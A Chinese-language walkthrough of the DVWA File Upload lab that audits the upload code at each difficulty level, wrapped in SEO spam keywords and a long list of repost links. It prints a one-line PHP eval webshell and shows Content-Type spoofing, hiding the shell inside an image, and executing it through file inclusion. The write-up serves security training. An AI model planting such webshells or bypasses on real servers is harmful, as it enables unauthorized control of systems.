北辰做网站公司,怎么在搜索引擎里做网站网页,郑州建站系统费用,城乡与建设厅网站DVWA -File Upload-通关教程-完结 文章目录 DVWA -File Upload-通关教程-完结页面功能LowMediumHighImpossible 页面功能 
此页面的功能为选择某个图片文件点击Upload按钮上传#xff0c;上传成功后得知文件上传路径为DVWA\hackable\uploads。    
Low 
源码审计 这段 PHP 代码…DVWA -File Upload-通关教程-完结 文章目录 DVWA -File Upload-通关教程-完结页面功能LowMediumHighImpossible  页面功能 
此页面的功能为选择某个图片文件点击Upload按钮上传上传成功后得知文件上传路径为DVWA\hackable\uploads。    
Low 
源码审计 这段 PHP 代码是一个简单的文件上传处理程序它接受通过 POST 请求上传的文件并将其保存到指定的目录中。 if( isset( $_POST[ Upload ] ) ) {: 这行代码检查是否收到了名为 Upload 的 POST 请求。如果收到了该请求说明用户尝试上传文件。 $target_path  DVWA_WEB_PAGE_TO_ROOT . hackable/uploads/;: 这行代码定义了上传文件的目标路径即服务器上保存上传文件的目录。DVWA_WEB_PAGE_TO_ROOT 是一个常量用于获取 DVWA 根目录的路径。文件将保存在 hackable/uploads/ 目录下。 $target_path . basename( $_FILES[ uploaded ][ name ] );: 这行代码将上传文件的名称附加到目标路径中以便将文件保存到正确的位置。 if( !move_uploaded_file( $_FILES[ uploaded ][ tmp_name ], $target_path ) ) {: 这行代码使用 move_uploaded_file() 函数将临时存储的上传文件移动到目标路径。如果移动失败则输出错误消息。 echo pre{$target_path} succesfully uploaded!/pre;: 如果移动成功则输出成功消息指示文件已成功上传到目标路径。 由此可见源码对上传文件直接移动而文件的类型、内容没有做任何的检查、过滤。 
?phpif( isset( $_POST[ Upload ] ) ) {// Where are we going to be writing to?$target_path   DVWA_WEB_PAGE_TO_ROOT . hackable/uploads/;$target_path . basename( $_FILES[ uploaded ][ name ] );// Can we move the file to the upload folder?if( !move_uploaded_file( $_FILES[ uploaded ][ tmp_name ], $target_path ) ) {// Noecho preYour image was not uploaded./pre;}else {// Yes!echo pre{$target_path} succesfully uploaded!/pre;}
}?漏洞利用 由于没有任何的过滤因此我们可以直接上传一个一句话木马. 
?php eval($_POST[kfc]) ?直接上传网页没有进行过滤直接返回了上传成功的信息。  访问Webshell地址页面为空白页面即为正常解析执行。 
打开蚁剑使用上传的一句话木马进行连接直接 Webshell。此时可以随意访问服务器上的任意文件进行任意操作。     
Medium 
源码审计 这段 PHP 代码是一个带有文件类型和大小限制的文件上传处理程序。 if( isset( $_POST[ Upload ] ) ) {: 这行代码检查是否收到了名为 Upload 的 POST 请求。如果收到了该请求说明用户尝试上传文件。 $target_path  DVWA_WEB_PAGE_TO_ROOT . hackable/uploads/;: 这行代码定义了上传文件的目标路径即服务器上保存上传文件的目录。DVWA_WEB_PAGE_TO_ROOT 是一个常量用于获取 DVWA 根目录的路径。文件将保存在 hackable/uploads/ 目录下。 $target_path . basename( $_FILES[ uploaded ][ name ] );: 这行代码将上传文件的名称附加到目标路径中以便将文件保存到正确的位置。 // File information: 这部分代码获取了上传文件的信息包括文件名、文件类型和文件大小。 // Is it an image?: 这行代码检查上传文件的类型和大小是否符合要求。如果上传文件是 JPEG 或 PNG 格式并且文件大小不超过 100KB则继续执行上传操作否则输出错误消息。 if( !move_uploaded_file( $_FILES[ uploaded ][ tmp_name ], $target_path ) ) {: 这行代码使用 move_uploaded_file() 函数将临时存储的上传文件移动到目标路径。如果移动失败则输出错误消息。 echo pre{$target_path} succesfully uploaded!/pre;: 如果移动成功则输出成功消息指示文件已成功上传到目标路径。 else { // Invalid file echo preYour image was not uploaded. We can only accept JPEG or PNG images./pre; }: 如果上传文件不是 JPEG 或 PNG 格式或者文件大小超过 100KB则输出错误消息指示上传的文件不符合要求。 由此可见源码会获取文件的文件名、文件类型和文件大小它要求文件类型必须是 jpeg 或者 png同时限制文件大小不能超过 100000B约为97.6KB。 
?phpif( isset( $_POST[ Upload ] ) ) {// Where are we going to be writing to?$target_path   DVWA_WEB_PAGE_TO_ROOT . hackable/uploads/;$target_path . basename( $_FILES[ uploaded ][ name ] );// File information$uploaded_name  $_FILES[ uploaded ][ name ];$uploaded_type  $_FILES[ uploaded ][ type ];$uploaded_size  $_FILES[ uploaded ][ size ];// Is it an image?if( ( $uploaded_type  image/jpeg || $uploaded_type  image/png ) ( $uploaded_size  100000 ) ) {// Can we move the file to the upload folder?if( !move_uploaded_file( $_FILES[ uploaded ][ tmp_name ], $target_path ) ) {// Noecho preYour image was not uploaded./pre;}else {// Yes!echo pre{$target_path} succesfully uploaded!/pre;}}else {// Invalid fileecho preYour image was not uploaded. We can only accept JPEG or PNG images./pre;}
}?漏洞利用 此时我们再直接传输上面的一句话木马会发现上传失败。  先做个一句话木马然后用 brup 抓包看到上传的 PHP 文件类型会被显示在包中。  
修改文件类型为 image/png然后放包。  
可以看到虽然我们传的还是一句话木马但是通过修改 http 报文可以通过网页的白名单检测再次蚁剑连接即可。  
High 
源码审计 这段 PHP 代码是一个带有更严格文件类型和大小限制的文件上传处理程序 if( isset( $_POST[ Upload ] ) ) {: 这行代码检查是否收到了名为 Upload 的 POST 请求。如果收到了该请求说明用户尝试上传文件。 $target_path  DVWA_WEB_PAGE_TO_ROOT . hackable/uploads/;: 这行代码定义了上传文件的目标路径即服务器上保存上传文件的目录。DVWA_WEB_PAGE_TO_ROOT 是一个常量用于获取 DVWA 根目录的路径。文件将保存在 hackable/uploads/ 目录下。 $target_path . basename( $_FILES[ uploaded ][ name ] );: 这行代码将上传文件的名称附加到目标路径中以便将文件保存到正确的位置。 // File information: 这部分代码获取了上传文件的信息包括文件名、文件扩展名、文件大小和临时文件路径。 // Is it an image?: 这行代码检查上传文件的类型和大小是否符合要求并使用 getimagesize() 函数验证上传文件是否为有效的图像文件。如果上传文件是 JPEG 或 PNG 格式、文件大小不超过 100KB并且是有效的图像文件则继续执行上传操作否则输出错误消息。 if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {: 这行代码使用 move_uploaded_file() 函数将临时存储的上传文件移动到目标路径。如果移动失败则输出错误消息。 echo pre{$target_path} succesfully uploaded!/pre;: 如果移动成功则输出成功消息指示文件已成功上传到目标路径。 else { // Invalid file echo preYour image was not uploaded. We can only accept JPEG or PNG images./pre; }: 如果上传文件不符合要求则输出错误消息指示上传的文件不符合要求。 重点strrpos(string,find,start) 函数返回字符串 find 在另一字符串 string 中最后一次出现的位置如果没有找到字符串则返回 false可选参数 start 规定在何处开始搜索。getimagesize(string filename) 函数会通过读取文件头返回图片的长、宽等信息如果没有相关的图片文件头则报错。源码通过字符串匹配来确定文件后缀名并且查看文件的相关参数提高了过滤的强度。 
?phpif( isset( $_POST[ Upload ] ) ) {// Where are we going to be writing to?$target_path   DVWA_WEB_PAGE_TO_ROOT . hackable/uploads/;$target_path . basename( $_FILES[ uploaded ][ name ] );// File information$uploaded_name  $_FILES[ uploaded ][ name ];$uploaded_ext   substr( $uploaded_name, strrpos( $uploaded_name, . )  1);$uploaded_size  $_FILES[ uploaded ][ size ];$uploaded_tmp   $_FILES[ uploaded ][ tmp_name ];// Is it an image?if( ( strtolower( $uploaded_ext )  jpg || strtolower( $uploaded_ext )  jpeg || strtolower( $uploaded_ext )  png ) ( $uploaded_size  100000 ) getimagesize( $uploaded_tmp ) ) {// Can we move the file to the upload folder?if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {// Noecho preYour image was not uploaded./pre;}else {// Yes!echo pre{$target_path} succesfully uploaded!/pre;}}else {// Invalid fileecho preYour image was not uploaded. We can only accept JPEG or PNG images./pre;}
}?漏洞利用 由于源码会去检查文件头现在我们不能再传 php 文件了应该把一句话木马包在一张图片里面。  
首先我们要准备一张图片和一句话木马然后使用 copy 命令把两个文件合成为一个文件。 
copy panda.jpeg/b  webshell.txt panda2.jpeg		//注意此命令需要在windows下执行然后直接上传网页提示上传成功。但是此时是不能用蚁剑连接的因为蚁剑的原理是向上传文件发送包含参数的 post 请求通过控制参数来执行不同的命令。这里服务器将木马文件解析成了图片文件因此向其发送 post 请求时服务器并不会执行相应命令。  
因此我们要把这张图片当做 php 来执行才行我们可以用File Inclusion(文件包含) 漏洞构造 payload。 
?pagefile:///E:\phpStudy\WWW\DVWA\hackable\uploads\panda2.jpeg访问下看看可以看到这个 url 使得一句话木马被解析也就是说这个时候就可以使用蚁剑或者中国菜刀连接。 链接URLhttp://192.168.197.208/DVWA/vulnerabilities/fi/?pagefile:///E:\phpStudy\WWW\DVWA\hackable\uploads\panda2.jpeg    
Impossible 
源码审计 到目前为止源码将检查所有级别的所有内容。 
?phpif( isset( $_POST[ Upload ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ user_token ], $_SESSION[ session_token ], index.php );// File information$uploaded_name  $_FILES[ uploaded ][ name ];$uploaded_ext   substr( $uploaded_name, strrpos( $uploaded_name, . )  1);$uploaded_size  $_FILES[ uploaded ][ size ];$uploaded_type  $_FILES[ uploaded ][ type ];$uploaded_tmp   $_FILES[ uploaded ][ tmp_name ];// Where are we going to be writing to?$target_path    DVWA_WEB_PAGE_TO_ROOT . hackable/uploads/;//$target_file    basename( $uploaded_name, . . $uploaded_ext ) . -;$target_file     md5( uniqid() . $uploaded_name ) . . . $uploaded_ext;$temp_file      ( ( ini_get( upload_tmp_dir )   ) ? ( sys_get_temp_dir() ) : ( ini_get( upload_tmp_dir ) ) );$temp_file    . DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . . . $uploaded_ext;// Is it an image?if( ( strtolower( $uploaded_ext )  jpg || strtolower( $uploaded_ext )  jpeg || strtolower( $uploaded_ext )  png ) ( $uploaded_size  100000 ) ( $uploaded_type  image/jpeg || $uploaded_type  image/png ) getimagesize( $uploaded_tmp ) ) {// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)if( $uploaded_type  image/jpeg ) {$img  imagecreatefromjpeg( $uploaded_tmp );imagejpeg( $img, $temp_file, 100);}else {$img  imagecreatefrompng( $uploaded_tmp );imagepng( $img, $temp_file, 9);}imagedestroy( $img );// Can we move the file to the web root from the temp folder?if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {// Yes!echo prea href${target_path}${target_file}${target_file}/a succesfully uploaded!/pre;}else {// Noecho preYour image was not uploaded./pre;}// Delete any temp filesif( file_exists( $temp_file ) )unlink( $temp_file );}else {// Invalid fileecho preYour image was not uploaded. We can only accept JPEG or PNG images./pre;}
}// Generate Anti-CSRF token
generateSessionToken();?
 文章转载自: http://www.morning.lxlzm.cn.gov.cn.lxlzm.cn http://www.morning.bwfsn.cn.gov.cn.bwfsn.cn http://www.morning.rqfnl.cn.gov.cn.rqfnl.cn http://www.morning.dbnpz.cn.gov.cn.dbnpz.cn http://www.morning.slnz.cn.gov.cn.slnz.cn http://www.morning.gstg.cn.gov.cn.gstg.cn http://www.morning.wmyqw.com.gov.cn.wmyqw.com http://www.morning.rymd.cn.gov.cn.rymd.cn http://www.morning.rfrxt.cn.gov.cn.rfrxt.cn http://www.morning.srnth.cn.gov.cn.srnth.cn http://www.morning.znknj.cn.gov.cn.znknj.cn http://www.morning.fjshyc.com.gov.cn.fjshyc.com http://www.morning.rrqbm.cn.gov.cn.rrqbm.cn http://www.morning.prkdl.cn.gov.cn.prkdl.cn http://www.morning.frpm.cn.gov.cn.frpm.cn http://www.morning.rdlong.com.gov.cn.rdlong.com http://www.morning.qjfkz.cn.gov.cn.qjfkz.cn http://www.morning.kbyp.cn.gov.cn.kbyp.cn http://www.morning.lnyds.cn.gov.cn.lnyds.cn http://www.morning.dmtbs.cn.gov.cn.dmtbs.cn http://www.morning.ztqj.cn.gov.cn.ztqj.cn http://www.morning.chkfp.cn.gov.cn.chkfp.cn http://www.morning.rsjng.cn.gov.cn.rsjng.cn http://www.morning.nydgg.cn.gov.cn.nydgg.cn http://www.morning.rmfwh.cn.gov.cn.rmfwh.cn http://www.morning.rsszk.cn.gov.cn.rsszk.cn http://www.morning.fglth.cn.gov.cn.fglth.cn http://www.morning.wjjsg.cn.gov.cn.wjjsg.cn http://www.morning.bnxnq.cn.gov.cn.bnxnq.cn http://www.morning.jwwfk.cn.gov.cn.jwwfk.cn http://www.morning.wrtxk.cn.gov.cn.wrtxk.cn http://www.morning.rtsdz.cn.gov.cn.rtsdz.cn http://www.morning.fnczn.cn.gov.cn.fnczn.cn http://www.morning.shsh1688.com.gov.cn.shsh1688.com http://www.morning.nfnxp.cn.gov.cn.nfnxp.cn http://www.morning.c7625.cn.gov.cn.c7625.cn http://www.morning.thrtt.cn.gov.cn.thrtt.cn http://www.morning.rsqpc.cn.gov.cn.rsqpc.cn http://www.morning.pcbfl.cn.gov.cn.pcbfl.cn http://www.morning.csgwd.cn.gov.cn.csgwd.cn http://www.morning.pngdc.cn.gov.cn.pngdc.cn http://www.morning.mzhhr.cn.gov.cn.mzhhr.cn http://www.morning.cjsnj.cn.gov.cn.cjsnj.cn http://www.morning.kcsx.cn.gov.cn.kcsx.cn http://www.morning.bplqh.cn.gov.cn.bplqh.cn http://www.morning.ptslx.cn.gov.cn.ptslx.cn http://www.morning.wgkz.cn.gov.cn.wgkz.cn http://www.morning.kpcky.cn.gov.cn.kpcky.cn http://www.morning.rlpmy.cn.gov.cn.rlpmy.cn http://www.morning.nzcys.cn.gov.cn.nzcys.cn http://www.morning.tygn.cn.gov.cn.tygn.cn http://www.morning.mkyny.cn.gov.cn.mkyny.cn http://www.morning.rszwc.cn.gov.cn.rszwc.cn http://www.morning.ypdmr.cn.gov.cn.ypdmr.cn http://www.morning.tnfyj.cn.gov.cn.tnfyj.cn http://www.morning.bqnhh.cn.gov.cn.bqnhh.cn http://www.morning.qwwcf.cn.gov.cn.qwwcf.cn http://www.morning.yfzld.cn.gov.cn.yfzld.cn http://www.morning.kndst.cn.gov.cn.kndst.cn http://www.morning.nmbbt.cn.gov.cn.nmbbt.cn http://www.morning.mtmnk.cn.gov.cn.mtmnk.cn http://www.morning.hxsdh.cn.gov.cn.hxsdh.cn http://www.morning.mfct.cn.gov.cn.mfct.cn http://www.morning.kngqd.cn.gov.cn.kngqd.cn http://www.morning.rtlg.cn.gov.cn.rtlg.cn http://www.morning.hpdpp.cn.gov.cn.hpdpp.cn http://www.morning.xhxsr.cn.gov.cn.xhxsr.cn http://www.morning.ydrn.cn.gov.cn.ydrn.cn http://www.morning.nlkjq.cn.gov.cn.nlkjq.cn http://www.morning.fesiy.com.gov.cn.fesiy.com http://www.morning.tpchy.cn.gov.cn.tpchy.cn http://www.morning.gsdbg.cn.gov.cn.gsdbg.cn http://www.morning.gswfs.cn.gov.cn.gswfs.cn http://www.morning.zlcsz.cn.gov.cn.zlcsz.cn http://www.morning.kqylg.cn.gov.cn.kqylg.cn http://www.morning.yfstt.cn.gov.cn.yfstt.cn http://www.morning.nfks.cn.gov.cn.nfks.cn http://www.morning.fsbns.cn.gov.cn.fsbns.cn http://www.morning.yhwmg.cn.gov.cn.yhwmg.cn http://www.morning.crfyr.cn.gov.cn.crfyr.cn